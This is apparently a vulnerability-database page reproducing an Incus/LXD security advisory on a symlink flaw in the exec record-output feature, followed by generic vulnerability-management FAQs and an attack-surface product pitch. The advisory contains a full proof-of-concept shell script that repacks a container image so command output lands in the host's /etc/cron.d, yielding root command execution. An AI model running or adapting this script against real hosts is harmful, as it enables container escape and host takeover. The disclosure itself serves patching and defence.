Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk. In instance_exec.go,
os.Mkdir continues of exec-output exists and os.OpenFile follows
the exec-output symlink.
Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
| Software | Affected versions |
|---|---|
github.com/canonical/lxd
|
< 0.0.0-20260626085134-124f90100640 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.